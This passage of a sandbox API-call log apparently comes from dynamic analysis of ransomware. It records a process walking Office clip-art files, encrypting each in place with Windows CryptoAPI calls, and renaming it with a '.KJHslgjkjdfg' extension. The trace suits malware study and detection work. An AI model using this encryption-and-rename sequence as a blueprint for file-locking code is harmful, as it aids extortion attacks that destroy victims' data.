lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.123] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.123] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.123] GetProcessHeap () returned 0x2ef0000 [0195.123] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.123] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.123] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.123] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.123] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.124] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.124] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.124] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x244, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x244, lpOverlapped=0x0) returned 1 [0195.124] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x250, dwBufLen=0x250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x250) returned 1 [0195.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.124] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x250, lpOverlapped=0x0) returned 1 [0195.124] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.124] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.124] SetEndOfFile (hFile=0x130) returned 1 [0195.125] GetProcessHeap () returned 0x2ef0000 [0195.125] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.125] GetProcessHeap () returned 0x2ef0000 [0195.125] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.125] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01629_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01629_.wmf.kjhslgjkjdfg")) returned 1 [0195.126] CloseHandle (hObject=0x130) returned 1 [0195.126] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef951100, ftCreationTime.dwHighDateTime=0x1bd4bf0, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xef951100, ftLastWriteTime.dwHighDateTime=0x1bd4bf0, nFileSizeHigh=0x0, nFileSizeLow=0x128, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01630_.WMF", cAlternateFileName="")) returned 1 [0195.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.128] GetProcessHeap () returned 0x2ef0000 [0195.128] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.128] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.128] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.128] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.129] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.129] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.129] GetProcessHeap () returned 0x2ef0000 [0195.129] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.129] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.129] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.129] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.129] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.130] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.130] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.130] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x128, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x128, lpOverlapped=0x0) returned 1 [0195.130] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x130, dwBufLen=0x130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x130) returned 1 [0195.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.130] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x130, lpOverlapped=0x0) returned 1 [0195.130] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.130] SetEndOfFile (hFile=0x130) returned 1 [0195.131] GetProcessHeap () returned 0x2ef0000 [0195.131] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.131] GetProcessHeap () returned 0x2ef0000 [0195.131] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.131] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf.kjhslgjkjdfg")) returned 1 [0195.132] CloseHandle (hObject=0x130) returned 1 [0195.132] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8660ce00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8660ce00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x228, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01631_.WMF", cAlternateFileName="")) returned 1 [0195.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.133] GetProcessHeap () returned 0x2ef0000 [0195.133] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.133] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.133] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.134] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.135] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.135] GetProcessHeap () returned 0x2ef0000 [0195.135] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.135] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.135] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.135] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.135] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.135] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.135] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.135] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.136] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.136] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x228, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x228, lpOverlapped=0x0) returned 1 [0195.136] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x230) returned 1 [0195.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.136] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x230, lpOverlapped=0x0) returned 1 [0195.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.136] SetEndOfFile (hFile=0x130) returned 1 [0195.139] GetProcessHeap () returned 0x2ef0000 [0195.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.139] GetProcessHeap () returned 0x2ef0000 [0195.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01631_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01631_.wmf.kjhslgjkjdfg")) returned 1 [0195.140] CloseHandle (hObject=0x130) returned 1 [0195.140] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1034, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01761_.WMF", cAlternateFileName="")) returned 1 [0195.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.141] GetProcessHeap () returned 0x2ef0000 [0195.141] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.141] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.141] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.141] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0195.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.143] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.143] GetProcessHeap () returned 0x2ef0000 [0195.143] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.143] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.144] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.144] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.144] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.144] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.144] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1034, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1034, lpOverlapped=0x0) returned 1 [0195.145] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1040, dwBufLen=0x1040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1040) returned 1 [0195.145] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.145] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1040, lpOverlapped=0x0) returned 1 [0195.145] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.146] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.146] SetEndOfFile (hFile=0x130) returned 1 [0195.147] GetProcessHeap () returned 0x2ef0000 [0195.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.147] GetProcessHeap () returned 0x2ef0000 [0195.147] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.147] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01761_.wmf.kjhslgjkjdfg")) returned 1 [0195.148] CloseHandle (hObject=0x130) returned 1 [0195.148] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d817b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD01772_.WMF", cAlternateFileName="")) returned 1 [0195.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.149] GetProcessHeap () returned 0x2ef0000 [0195.149] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.149] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.149] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.149] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.151] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.151] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.151] GetProcessHeap () returned 0x2ef0000 [0195.151] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.152] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.152] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.152] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, 